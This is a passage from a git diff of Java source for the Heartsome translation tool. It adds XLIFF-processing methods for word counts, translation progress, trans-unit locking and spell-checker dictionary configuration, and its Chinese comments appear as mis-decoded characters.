    + * 获å–ph,etp,btp,it节点的å­èŠ‚点sub的标记 + * @param vn + * @return + */ + public String getSubNodeTagStr(VTDNav vn){ + vn.push(); + StringBuffer sb = new StringBuffer(); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("./*"); + VTDUtils vUtils = new VTDUtils(vn); + + while (ap.evalXPath() != -1) { + //先将该标记进行存储 + String nodeFrag = vUtils.getElementFragment(); + String nodeContent = vUtils.getElementContent(); + String tagStr = nodeFrag.replace(nodeContent == null ? "" : nodeContent, ""); + + sb.append(deleteBlank(tagStr)); + + //如果该sub节点还有å­èŠ‚点,那么å†æ·»åŠ å®ƒçš„å­èŠ‚点标记 + if (vUtils.getChildElementsCount() > 0) { + sb.append(getTuTagStr(vn)); + } + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger18"), e); + } + + vn.pop(); + return sb.toString(); + } + + /** + * {@link #getSubNodeTagStr(String, String)} + *
    该方法与 getSubNodeTagStr 方法类似,如修改应ä¿æŒä¸€è‡´
    + * 获å–ph,etp,btp,it节点的å­èŠ‚点sub的标记 + * @param vn + * @return + */ + public List> getSubNodeTag(VTDNav vn){ + vn.push(); + List> subNodeTagList = new LinkedList>(); + Map subTagMap; + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("./*"); + VTDUtils vUtils = new VTDUtils(vn); + + while (ap.evalXPath() != -1) { + //ç†è®ºä¸Šè¿™åº”该是sub节点,但是以防万一,还是现场获å–标记结点 + String nodeName = vUtils.getCurrentElementName(); + + //先将该标记进行存储 + String nodeFrag = vUtils.getElementFragment(); + String nodeContent = vUtils.getElementContent(); + String tagStr = nodeFrag.replace(nodeContent == null ? "" : nodeContent, ""); + + subTagMap = new HashMap(); + subTagMap.put(QAConstant.QA_TAGNAME, nodeName); + subTagMap.put(QAConstant.QA_TAGCONTENT, deleteBlank(tagStr)); + subNodeTagList.add(subTagMap); + + //如果该sub节点还有å­èŠ‚点,那么å†æ·»åŠ å®ƒçš„å­èŠ‚点标记 + if (vUtils.getChildElementsCount() > 0) { + List> subChildNodeTag = getTUTag(vn); + for (int index = 0; index < subChildNodeTag.size(); index++) { + subNodeTagList.add(subChildNodeTag.get(index)); + } + } + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger18"), e); + } + vn.pop(); + return subNodeTagList; + } + + /** + * 删除多余的空格 + * @return + */ + public String deleteBlank(String text){ + while (text.indexOf(QAConstant.QA_TWO_BLANK) >= 0) { + text = text.replace(QAConstant.QA_TWO_BLANK, QAConstant.QA_ONE_BLANK); + } + return text; + } + + /** + * 从.nonTransElement文件里é¢èŽ·å–éžè¯‘元素 + * @param filePath + * @param nodeXpath + * @return + */ + public List> getNonTransElements(String filePath, String nodeXpath){ + List> list = new LinkedList>(); + VTDNav vn = vnMap.get(filePath); + AutoPilot ap = new AutoPilot(vn); + validNull(vn, ap, filePath); + + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + AutoPilot _ap = new AutoPilot(vUtils.getVTDNav()); + _ap.selectXPath("./*"); + while (ap.evalXPath() != -1) { + Map map = new HashMap(); + map.put("id", vn.toString(vn.getAttrVal("id"))); + while (_ap.evalXPath() != -1) { + String nodeName = vUtils.getCurrentElementName(); + if ("name".equals(nodeName)) { + map.put("name", vUtils.getElementContent()); + } + if ("content".equals(nodeName)) { + map.put("content", vUtils.getElementContent()); + }else if ("regular".equals(vUtils.getCurrentElementName())) { + map.put("regular", vUtils.getElementContent()); + } + } + _ap.resetXPath(); + list.add(map); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger19"), e); + } + return list; + } + + /** + * åªèŽ·å–éžè¯‘å…ƒç´ çš„æ­£åˆ™è¡¨è¾¾å¼ + * @param filePath + * @return + */ + public List getNonTransElementsRegex(String filePath){ + List regexList = new ArrayList(); + VTDNav vn = vnMap.get(filePath); + AutoPilot ap = new AutoPilot(vn); + validNull(vn, ap, filePath); + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath("/nonTrans/element/regular"); + while (ap.evalXPath() != -1) { + regexList.add(vUtils.getElementContent()); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger19"), e); + } + return regexList; + } + + + /** + * 将数æ®æ·»åŠ åˆ°æ–‡ä»¶ä¸­ï¼Œå¹¶ä¸”是添加到指定节点的尾部 + * @param newXlfPath + * @param data è¦æ·»åŠ çš„内容 + * @param toXpath è¦æ·»åŠ çš„ä½ç½® + */ + public boolean addDataToXml(String filePath, String toXpath, String data){ + VTDNav vn = vnMap.get(filePath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + filePath); + try { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(toXpath); + if (ap.evalXPath() != -1) { + XMLModifier xm = new XMLModifier(vn); + xm.insertBeforeTail((data + "\n").getBytes("UTF-8")); + //更新新生æˆçš„xliff文件,并é‡æ–°åŠ è½½å¹¶æ›´æ–°VTDVNav + return saveAndReparse(xm, filePath); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error("", e); + } + return false; + } + + + /** + * 删除指定的节点,且并é‡æ–°è§£æž + * @param filePath + * @param nodeXpath + * @return + */ + public boolean deleteNode(String filePath, String nodeXpath){ + VTDNav vn = vnMap.get(filePath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + filePath); + try { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(nodeXpath); + if (ap.evalXPath() != -1) { + VTDUtils vu = new VTDUtils(vn); + XMLModifier xm = vu.update(nodeXpath, ""); + return saveAndReparse(xm, filePath); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error("", e); + } + + return false; + } + + /** + * æ ¹æ®æŒ‡å®šçš„ xpaht 删除所有的节点 + * @param filePath + * @param nodeXpath + * @return + */ + public boolean deleteAllNode(String filePath, String nodeXpath){ + VTDNav vn = vnMap.get(filePath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + filePath); + try { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(nodeXpath); + XMLModifier xm = new XMLModifier(vn); + boolean hasRemoved = false; + while (ap.evalXPath() != -1) { + xm.remove(); + hasRemoved = true; + } + if (hasRemoved) { + return saveAndReparse(xm, filePath); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error("", e); + } + + return false; + + } + + /** + * 针对字数分æžï¼ŒèŽ·å–所选文件的æºæ–‡æœ¬ + * @param filePath + * 文件路径 + * @param traversalTuIndex + * é历的tu节点åºåˆ—,是用于进度æ¡çš„推进 + * @param workInterval + * 进度æ¡å‰è¿›é—´éš” + * @param ignoreTag + * 获å–æºæ–‡æœ¬æ—¶æ˜¯å¦å¿½ç•¥æ ‡è®° + * @param contextSum + * 上下文匹é…时的上下文个数,在首选项中设置 + * @return 存储所选文件的所有trans-unit节点的æºæ–‡æœ¬ Map> + */ + public Map> getAllSrcText(int workInterval, boolean ignoreTag, int contextSum, + String srcLang, String tgtLang) { + Map> allFileSrcTextMap = new LinkedHashMap>(); + try { + for (Entry entry : vnMap.entrySet()) { + Map srcTextMap = new LinkedHashMap(); + + String filePath = entry.getKey(); + VTDNav vn = entry.getValue(); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + filePath); + + AutoPilot ap = new AutoPilot(vn); + VTDUtils vUtils = new VTDUtils(vn); + AutoPilot childAp = new AutoPilot(vn); + AutoPilot contextAp = new AutoPilot(vn); + + StringBuilder contextStr; + String XPATH_ALL_TU_BYLANGUAGE = "/xliff/file[upper-case(@source-language)=''{0}'' and upper-case(@target-language)=''{1}'']/body/descendant::trans-unit[source/text()!='''' or source/*]"; + String xpath = MessageFormat.format(XPATH_ALL_TU_BYLANGUAGE, new Object[] { srcLang, tgtLang }); + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + String srcPureText = null; + String srcContent = null; + String tagStr = null; + String preHash; + String nextHash; + int srcLength = 0; + boolean isLocked; + String rowId = RowIdUtil.getRowId(vn, filePath); + vn.push(); + childAp.selectXPath("./source"); + if (childAp.evalXPath() != -1) { + srcPureText = getTUPureText(vn); + srcContent = vUtils.getElementContent(); + srcLength = srcPureText.trim().length(); + if (!ignoreTag) { + tagStr = getTuTagStr(vn); + } + } + vn.pop(); + + // 获å–上文的hash值 + vn.push(); + contextStr = new StringBuilder(); + contextAp.selectXPath("preceding::trans-unit/source[text()!='' or *]"); + int i = 0; + while (contextAp.evalXPath() != -1 && i < contextSum) { + contextStr.append("," + getTUPureText(vn).trim().hashCode()); + i++; + } + contextAp.resetXPath(); + vn.pop(); + preHash = contextStr.length() > 0 ? (contextStr.substring(1, contextStr.length())) : contextStr.toString(); + + // 获å–下文的hash值 + vn.push(); + contextStr = new StringBuilder(); + contextAp.selectXPath("following::trans-unit/source[text()!='' or *]"); + i = 0; + while (contextAp.evalXPath() != -1 && i < contextSum) { + contextStr.append("," + getTUPureText(vn).trim().hashCode()); + i++; + } + contextAp.resetXPath(); + vn.pop(); + nextHash = contextStr.length() > 0 ? (contextStr.substring(1, contextStr.length())) : contextStr.toString(); + + //获å–是å¦é”定translate="no"å³ä¸ºé”定,其他情况都算未é”定 + vn.push(); + if (vn.getAttrVal("translate") == -1) { + isLocked = false; + }else { + if ("no".equals(vn.toString(vn.getAttrVal("translate")))) { + isLocked = true; + }else { + isLocked = false; + } + } + vn.pop(); + + //存放值 + srcTextMap.put(rowId, new WordsFABean(srcPureText, srcContent, tagStr, preHash, nextHash, srcLength, isLocked)); + } + + allFileSrcTextMap.put(filePath, srcTextMap); + + } + } catch (Exception e) { + logger.error("", e); + e.printStackTrace(); + } + + return allFileSrcTextMap; + } + + /** + * 通过rowId获å–当å‰ç¿»è¯‘å•å…ƒçš„上下文 + * @param rowId + * @param num 上下文个数 + * @return ; + */ + public Map getTransUnitContext(String rowId, int num) { + + Map result = new HashMap(); + if (tuSizeMap == null || rowId == null) { + return null; + } + + VTDUtils vu = null; + VTDNav vn = getVTDNavByRowId(rowId); + try { + vu = new VTDUtils(vn); + } catch (NavException e1) { + String errorMsg = Messages.getString("qa.QAXmlHandler.logger21"); + logger.error(errorMsg, e1); + return null; + } + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + result.put("x-preContext", getContext(vu, ap, num, true)); + result.put("x-nextContext", getContext(vu, ap, num, false)); + return result; + } + /** + * 得到VTDNav对象 + * @param rowId + * 行的唯一标识 + * @return VTDNav对象; + */ + private VTDNav getVTDNavByRowId(String rowId) { + String fileName = RowIdUtil.getFileNameByRowId(rowId); + return vnMap.get(fileName); + } + + /** + * 得到指定 TU 上/下文 + * @param rowId + * 指定 TU çš„ rowId + * @param num + * å–上/下文个数 + * @param isPre + * 是å¦æ˜¯ä¸Šæ–‡ + * @return 上/下文 + * @throws NavException + */ + private String getContext(VTDUtils vu, AutoPilot ap, int num, boolean isPre) { + vu.getVTDNav().push(); + StringBuilder re = new StringBuilder(); + try { + String xpath = isPre ? "preceding" : "following"; + xpath = xpath + "::trans-unit/source"; + ap.selectXPath(xpath); + int i = 0; + while (ap.evalXPath() != -1 && i < num) { + re.append("," + getTUPureText(vu.getVTDNav()).hashCode()); + i++; + } + } catch (XPathParseException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger9"), e); + } catch (XPathEvalException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger10"), e); + } catch (NavException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger11"), e); + } finally { + vu.getVTDNav().pop(); + } + if (re.length() > 0) { + return re.substring(1, re.length()); + } else { + return ""; + } + } + + /** + * é”定指定的trans-unit节点 + * @param rowId + * @return ; + */ + public boolean lockedTU(String rowId){ + VTDNav vn = getVTDNavByRowId(rowId); + XMLModifier xm; + boolean isChanged = false; // 当å‰çš„TransUnitçš„translate属性是å¦æ‰§è¡Œäº†ä¿®æ”¹ + String filePath = RowIdUtil.getFileNameByRowId(rowId); + try { + xm = new XMLModifier(vn); + String tuXpath = RowIdUtil.parseRowIdToXPath(rowId); + + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(tuXpath); + if (ap.evalXPath() != -1) { + int attrIdx = vn.getAttrVal("translate"); + if (attrIdx != -1) { // 存在translate属性 + String translate = vn.toString(attrIdx); + if (!translate.equals("no")) { // translate属性值ä¸ä¸ºæŒ‡å®šçš„translateValue + xm.updateToken(attrIdx, "no"); + isChanged = true; + saveAndReparse(xm, filePath); + } + } else { + xm.insertAttribute(" translate=\"no\" "); + isChanged = true; + saveAndReparse(xm, filePath); + } + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger22"), e); + } + return isChanged; + } + + /** + * 针对文件分æžçš„翻译进度分æžï¼ŒèŽ·å–æ¯ä¸ªèŠ‚点的未翻译文本段数ã€å­—数,已翻译文本段数ã€å­—数。 + * 如果返回为nullï¼Œåˆ™æ ‡å¿—ç”¨æˆ·é€€å‡ºåˆ†æž + * 备注:此处的算法与逻辑,è¦ä¸ŽXLIFFEditorImplWithNatTable中的 updateStatusLine方法ä¿æŒä¸€è‡´ + * @param filePath + * è¦å¤„ç†çš„文件的路径 + * @param monitor + * è¿›åº¦æ¡ + * @param ignoreTag + * 是å¦å¿½ç•¥æ ‡è®° + * @param workInterval + * 进度æ¡å‰è¿›ä¸€æ ¼çš„é—´éš” + * @param traversalTuIndex + * 循环trans-unit节点的åºåˆ—å· + * @return transProgDataMap,下é¢æ˜¯å…¶å¥å€¼å¯¹è¯¦è§£ key: notTransPara --> 未翻译文本段数 key: translatedPara --> 已翻译文本段数 key: + * notTransWords --> 未翻译字数 key: translatedWords --> 已翻译字数 + */ + public Map getTransProgressData(String filePath, IProgressMonitor monitor, int workInterval, + int traversalTuIndex) { + Map transProgDataMap = new HashMap(); + + int notTransPara = 0; + int translatedPara = 0; + int lockedPara = 0; + int notTransWords = 0; + int translatedWords = 0; + int lockedWords = 0; + try { + VTDNav vn = vnMap.get(filePath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + filePath); + AutoPilot ap = new AutoPilot(vn); + VTDUtils vUtils = new VTDUtils(vn); + AutoPilot sourceAp = new AutoPilot(vn); + sourceAp.selectXPath("./source[text()!='' or ./*]"); + + AutoPilot targetAp = new AutoPilot(vn); + targetAp.selectXPath("./target"); + + String srcLang = vUtils.getElementAttribute("/xliff/file[1]", "source-language"); + ap.selectXPath(XPATH_ALL_TU); + while (ap.evalXPath() != -1) { + traversalTuIndex++; + int curWordsNum = 0; + int inx = vn.getAttrVal("approved"); + String attriApproved = ""; + if (inx != -1) { + attriApproved = vn.toString(inx); + } + //判断是å¦é”定 + boolean isLocked = false; + inx = vn.getAttrVal("translate"); + if (inx != -1 && "no".equals(vn.toString(inx))) { + isLocked = true; + } + + // æ ¹æ®æ˜¯å¦å¿½ç•¥æ ‡å¿—,获å–æºæ–‡æœ¬çš„å­—æ•° + vn.push(); + if (sourceAp.evalXPath() != -1) { + String sourceText = getTUPureText(vn); + curWordsNum = CountWord.wordCount(sourceText, srcLang); + } + sourceAp.resetXPath(); + vn.pop(); + + // 查询该trans-unit节点下是å¦æœ‰target节点或者target节点的内容是å¦ä¸ºç©º + vn.push(); + if (targetAp.evalXPath() != -1) { + String attriState = ""; + int stateInx = vn.getAttrVal("state"); + if (stateInx != -1) { + attriState = vn.toString(stateInx); + } + if ("yes".equals(attriApproved) + && (!"translated".equals(attriState) || !"signed-off".equals(attriState))) { + translatedPara++; + translatedWords += curWordsNum; + } else { + if ("translated".equals(attriState) || "signed-off".equals(attriState)) { + translatedPara++; + translatedWords += curWordsNum; + } else { + notTransWords += curWordsNum; + notTransPara++; + } + } + } else { + notTransWords += curWordsNum; + notTransPara++; + } + targetAp.resetXPath(); + vn.pop(); + if (isLocked) { + lockedPara ++; + lockedWords += curWordsNum; + } + + if (!monitorWork(monitor, traversalTuIndex, workInterval, false)) { + return null; + } + } + } catch (Exception e) { + if (!monitorWork(monitor, traversalTuIndex, workInterval, false)) { + return null; + } + e.printStackTrace(); + logger.error(MessageFormat.format(Messages.getString("qa.QAXmlHandler.logger23"), filePath), e); + } + + transProgDataMap.put("notTransPara", notTransPara); + transProgDataMap.put("translatedPara", translatedPara); + transProgDataMap.put("lockedPara", lockedPara); + transProgDataMap.put("notTransWords", notTransWords); + transProgDataMap.put("translatedWords", translatedWords); + transProgDataMap.put("lockedWords", lockedWords); + + return transProgDataMap; + } + + /** + * 针对文件分æžçš„翻译进度分æžï¼ŒèŽ·å–æ¯ä¸ªèŠ‚点的未翻译文本段数ã€å­—数,已翻译文本段数ã€å­—数。 + * 如果返回为nullï¼Œåˆ™æ ‡å¿—ç”¨æˆ·é€€å‡ºåˆ†æž + * @param filePath è¦å¤„ç†çš„文件的路径 + * @param monitor è¿›åº¦æ¡ + * @param ignoreTag 是å¦å¿½ç•¥æ ‡è®° + * @param workInterval 进度æ¡å‰è¿›ä¸€æ ¼çš„é—´éš” + * @param traversalTuIndex 循环trans-unit节点的åºåˆ—å· + * @return editProgDataMap,下é¢æ˜¯å…¶å¥å€¼å¯¹è¯¦è§£ + * key: notApprovedParas --> 未批准文本段数 + * key: approvedParas --> 已批准文本段数 + * key: notApprovedWords --> 未批准字数 + * key: approvedWords --> 已批准字数 + */ + public Map getEditProgressData(String filePath, IProgressMonitor monitor, int workInterval, int traversalTuIndex){ + Map editProgDataMap = new HashMap(); + int notApprovedParas = 0; + int approvedParas = 0; + int lockedParas = 0; + int notApprovedWords = 0; + int approvedWords = 0; + int lockedWords = 0; + try { + VTDNav vn = vnMap.get(filePath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + filePath); + AutoPilot ap = new AutoPilot(vn); + VTDUtils vUtils = new VTDUtils(vn); + + AutoPilot sourceAp = new AutoPilot(vn); + sourceAp.selectXPath("./source[text()!='' or ./*]"); + String srcLang = vUtils.getElementAttribute("/xliff/file[1]", "source-language"); + + ap.selectXPath(XPATH_ALL_TU); + while (ap.evalXPath() != -1) { + traversalTuIndex ++; + int curWordsNum = 0; + + //判断是å¦é”定 + boolean isLocked = false; + int inx = vn.getAttrVal("translate"); + if (inx != -1 && "no".equals(vn.toString(inx))) { + isLocked = true; + } + + //æ ¹æ®æ˜¯å¦å¿½ç•¥æ ‡è®°ï¼ŒèŽ·å–æºæ–‡æœ¬çš„å­—æ•° + vn.push(); + if (sourceAp.evalXPath() != -1) { + String sourceText = getTUPureText(vn); + curWordsNum = CountWord.wordCount(sourceText, srcLang); + } + sourceAp.resetXPath(); + vn.pop(); + + String approved = ""; + int approveIndex = vn.getAttrVal("approved"); + if (approveIndex != -1) { + approved = vn.toString(approveIndex); + } + + if ("yes".equals(approved)) { + approvedParas ++; + approvedWords += curWordsNum; + }else { + notApprovedParas ++; + notApprovedWords += curWordsNum; + } + + if (!monitorWork(monitor, traversalTuIndex, workInterval, false)) { + return null; + } + + if (isLocked) { + lockedParas ++; + lockedWords += curWordsNum; + } + } + }catch (Exception e) { + if (!monitorWork(monitor, traversalTuIndex, workInterval, false)) { + return null; + } + e.printStackTrace(); + logger.error(MessageFormat.format(Messages.getString("qa.QAXmlHandler.logger24"), filePath), e); + } + + editProgDataMap.put("notApprovedParas", notApprovedParas); + editProgDataMap.put("approvedParas", approvedParas); + editProgDataMap.put("lockedParas", lockedParas); + editProgDataMap.put("notApprovedWords", notApprovedWords); + editProgDataMap.put("approvedWords", approvedWords); + editProgDataMap.put("lockedWords", lockedWords); + + return editProgDataMap; + } + + /** + * 获å–拼写检查时所用到的所以已ç»æ·»åŠ çš„字典语ç§è¯­è¨€ + * @return ; + */ + public Hashtable getDictionaries(String dictionaryXmlPath){ + Hashtable dictionaries = new Hashtable(); + VTDNav vn = vnMap.get(dictionaryXmlPath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + dictionaryXmlPath); + + try { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/dictionaries/dictionary"); + while (ap.evalXPath() != -1) { + int langIndex = vn.getAttrVal("xml:lang"); + if (langIndex != -1) { + dictionaries.put(vn.toString(langIndex), vn.toString(vn.getText())); + } + } + } catch (Exception e) { + e.printStackTrace(); + logger.error("", e); + } + return dictionaries; + } + + /** + * 获å–aspell拼写检查器的è¯å…¸è¯­è¨€ + * @param aspellConfigFile aspellé…置文件路径 + * @return ; + */ + public Hashtable getAspellDictionaries(String aspellConfigFile) { + Hashtable dictionaries = new Hashtable(); + VTDNav vn = vnMap.get(aspellConfigFile); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + aspellConfigFile); + + try { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/aspell/aspellDictionaries/*"); + while (ap.evalXPath() != -1) { + dictionaries.put(vn.toString(vn.getCurrentIndex()), vn.toString(vn.getText())); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error("", e); + } + return dictionaries; + } + + /** + * 进度æ¡å‰è¿›å¤„ç†æ–¹æ³•ï¼Œé’ˆå¯¹é历tu节点总数ä¸æ˜¯workIntervalçš„å€æ•°æƒ…况下,程åºè¿è¡Œè¦ç»“æŸæ—¶ï¼Œå°±å‰è¿›ä¸€æ ¼ã€‚ + * 如果是在程åºè¿è¡Œä¸­ï¼Œå°±åˆ¤æ–­æ˜¯tu节点é历åºåˆ—å·æ˜¯å¦æ˜¯workIntervalçš„å€æ•°ï¼Œè‹¥æ˜¯ï¼Œåˆ™å‰è¿›ä¸€æ ¼ + * @param monitor 进度æ¡å®žä¾‹ + * @param traversalTuIndex é历的åºåˆ—å· + * @param last 是å¦æ˜¯ç¨‹åºè¿è¡Œçš„结尾处 + * 若返回false,则标志退出程åºï¼Œä¸å†æ‰§è¡Œ + */ + public boolean monitorWork(IProgressMonitor monitor, int traversalTuIndex, int workInterval, boolean last){ + if (last) { + if (traversalTuIndex % workInterval != 0) { + /*try { + Thread.sleep(500); + } catch (Exception e) { + }*/ + if (monitor.isCanceled()) { + return false; + } + monitor.worked(1); + } + }else { + if (traversalTuIndex % workInterval == 0) { + /*try { + Thread.sleep(500); + } catch (Exception e) { + }*/ + if (monitor.isCanceled()) { + return false; + } + monitor.worked(1); + } + } + return true; + } + + /** + * èŽ·å– hunspell 所支æŒçš„语言 2013-01-15 + * @param xmlPath + * @return + */ + public Map getHunspellAvailableLang(String xmlPath){ + Map langMap = new HashMap(); + VTDGen vg = new VTDGen(); + if (!vg.parseFile(xmlPath, true)) { + logger.error("Hunspell 语言管ç†æ–‡ä»¶ç ´æŸï¼Œæ— æ³•è§£æžã€‚"); + return null; + } + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + AutoPilot childAP = new AutoPilot(vn); + String xpath = "/config/language"; + try { + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + String code = null; + String dictionary = null; + + vn.push(); + childAP.selectXPath("./isoCode"); + if(childAP.evalXPath() != -1){ + if (vn.getText() != -1) { + code = vn.toRawString(vn.getText()); + } + } + vn.pop(); + + vn.push(); + childAP.selectXPath("./dict"); + if (childAP.evalXPath() != -1) { + if (vn.getText() != -1) { + dictionary = vn.toRawString(vn.getText()); + } + } + vn.pop(); + + if (code != null && dictionary != null && !"".equals(code) && !"".equals(dictionary)) { + langMap.put(code, dictionary); + } + } + } catch (Exception e) { + logger.error("Hunspell 语言管ç†æ–‡ä»¶å†…容获å–失败ï¼", e); + } + return langMap; + } + + /** + * èŽ·å– aspell é…置文件的è¯å…¸æƒ…况 + * @return String[]{2}, 第一个值为 语言, 第二个值为 è¯å…¸ + */ + public List getAspellDicConfig(String xmlPath) throws Exception{ + List dicList = new LinkedList(); + + VTDNav vn = vnMap.get(xmlPath); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/aspell/aspellDictionaries/*"); + while (ap.evalXPath() != -1) { + String lang = vn.toString(vn.getCurrentIndex()); + String dic = vn.toString(vn.getText()); + dicList.add(new String[]{lang, dic}); + } + + return dicList; + } + + /** + * 将语言与è¯å…¸å¯¹æ·»åŠ åˆ° Aspell é…置文件中 + * @throws Exception + */ + public void addAspellConfig(String xmlPath, String lang, String dic, boolean isUpdate) throws Exception{ + VTDNav vn = vnMap.get(xmlPath); + XMLModifier xm = null; + VTDUtils vu = new VTDUtils(vn); + if (isUpdate) { + String xpath = "/aspell/aspellDictionaries/" + lang + "/text()"; + xm = vu.update(xpath, dic); + } else { + String xpath = "/aspell/aspellDictionaries/text()"; + String insertValue = "\n<" + lang + ">" + dic + "\n"; + xm = vu.insert(xpath, insertValue); + } + vu.bind(xm.outputAndReparse()); + saveAndReparse(xm, xmlPath); + } + + /** + * 删除 Aspell é…置文件的内容 + * @param xmlPath + * @param lang + * @param dic + */ + public void removeAspellConfig(String xmlPath, String lang) throws Exception{ + VTDNav vn = vnMap.get(xmlPath); + + AutoPilot ap = new AutoPilot(vn); + XMLModifier xm = new XMLModifier(vn); + String xpath = "/aspell/aspellDictionaries/" + lang + ""; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + xm.remove(); + saveAndReparse(xm, xmlPath); + } + } + + /** + * 当 spellPage 点击确定时,ä¿å­˜ aspell é…ç½®çš„éƒ¨ä»½ä¿¡æ¯ + * @param xmlPath + * @param isUtf8 ç•Œé¢ä¸Šæ˜¯å¦é€‰ä¸­äº† utf-8 çš„ button。 + */ + public void saveAspellConfig(String xmlPath, String commandLine, boolean isUtf8) throws Exception{ + VTDNav vn = vnMap.get(xmlPath); + VTDUtils vu = new VTDUtils(vn); + XMLModifier xm = null; + + String commandPath = getNodeText(xmlPath, "/aspell/commandLine", null); + + if (commandPath == null && commandLine != null) { + String insertValue = "\n" + commandLine + "\n"; + xm = vu.insert("/aspell/text()", insertValue); + } else if (commandPath != null && commandLine != null) { + if (!commandLine.equals(commandPath)) { + xm = vu.update("/aspell/commandLine/text()", commandLine); + } + } else if (commandPath != null && commandLine == null) { + xm = vu.delete("/aspell/commandLine"); + } + if (xm != null) { + vu.bind(xm.outputAndReparse()); + } + + String utf8File = getNodeText(xmlPath, "/aspell/utf8", null); + String utf8 = isUtf8 ? "yes" : "no"; + if (utf8File == null) { + String insertValue = "\n" + utf8 + "\n"; + xm = vu.insert("/aspell/text()", insertValue); + } else { + if (!utf8File.equals(utf8)) { + xm = vu.update("/aspell/utf8/text()", utf8); + } + } + if (xm != null) { + saveAndReparse(xm, xmlPath); + } + + } + + public static void main(String[] args) { +//// try { +//// VTDGen vg = new VTDGen(); +//// String xmlPath = "/home/robert/Desktop/test.xml"; +//// vg.parseFile(xmlPath, true); +//// VTDNav vn = vg.getNav(); +//// AutoPilot ap = new AutoPilot(vn); +//// XMLModifier xm = new XMLModifier(vn); +//// +//// String xpath = "/root/xliff/file/descendant::node()"; +//// ap.selectXPath(xpath); +//// while(ap.evalXPath() != -1){ +//// System.out.println(vn.toString(vn.getCurrentIndex())); +//// if ("body".equals(vn.toString(vn.getCurrentIndex()))) { +//// System.out.println("删除了"); +//// xm.remove(); +//// } +//// if ("trans-unit".equals(vn.toString(vn.getCurrentIndex()))) { +//// xm.remove(); +//// xm.insertAfterElement("bbbbbbbbbbbbbbbb"); +//// } +//// } +//// xm.output(xmlPath); +//// } catch (Exception e) { +//// e.printStackTrace(); +//// } +// +// +// +// try { +// String content = " aaa aaa bbb cccc "; +// VTDGen vg = new VTDGen(); +// vg.setDoc(content.getBytes()); +// vg.parse(true); +// VTDUtils vu = new VTDUtils(vg.getNav()); +// XMLModifier xm = vu.delete("/test/a[@type='a']"); +// VTDNav vn = xm.outputAndReparse(); +// System.out.println(vn.toString(vn.getCurrentIndex())); +//// FileOutputStream fos = new FileOutputStream("/home/robert/Desktop/mmmm.xml"); +//// xm.output(fos); +//// fos.close(); +// System.out.println(content); +// +// //VTDUtils vUtils = new VTDUtils(vn); +// vu.bind(vn); +// System.out.println(vu.getElementFragment()); +// +//// AutoPilot ap = new AutoPilot(vu.getVTDNav()); +//// ap.selectXPath("/test/a[@type='b']"); +//// while (ap.evalXPath() != -1) { +//// System.out.println(vu.getElementFragment()); +//// } +// } catch (Exception e) { +// e.printStackTrace(); +// } +// String ttxPath = "/home/robert/Desktop/test.xml"; +// QAXmlHandler qa = new QAXmlHandler(); +// +//// qa.test(ttxPath); +// qa.test_XLiff(); + } + + + +} diff --git a/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/qa/WordsFABean.java b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/qa/WordsFABean.java new file mode 100644 index 0000000..eb957cc --- /dev/null +++ b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/qa/WordsFABean.java @@ -0,0 +1,99 @@ +package net.heartsome.cat.ts.core.qa; + +/** + * 字数分æžæ‰€ç”¨åˆ°çš„æ•°æ®pojoç±» + * @author robert 2012-04-12 + * @version + * @since JDK1.6 + */ +public class WordsFABean { + private String srcPureText; + private String srcContent; + /** æŠŠæ‰€æœ‰çš„æ ‡è®°è¿›è¡Œæ‹¼èµ·æ¥ */ + private String tagStr; + private String preHash; + private String nextHash; + private int srcLength; + private boolean isLocked; + /** 跟所比较过的文本段åŽæœ€å¤§çš„匹é…率 */ + private int thisMatchRate = 0; + + public WordsFABean() { + } + + public WordsFABean(String srcPureText, String srcContent, String tagStr, String preHash, String nextHash, int srcLength, boolean isLocked) { + this.srcPureText = srcPureText; + this.srcContent = srcContent; + this.tagStr = tagStr; + this.preHash = preHash; + this.nextHash = nextHash; + this.srcLength = srcLength; + this.isLocked = isLocked; + } + + public String getSrcPureText() { + return srcPureText; + 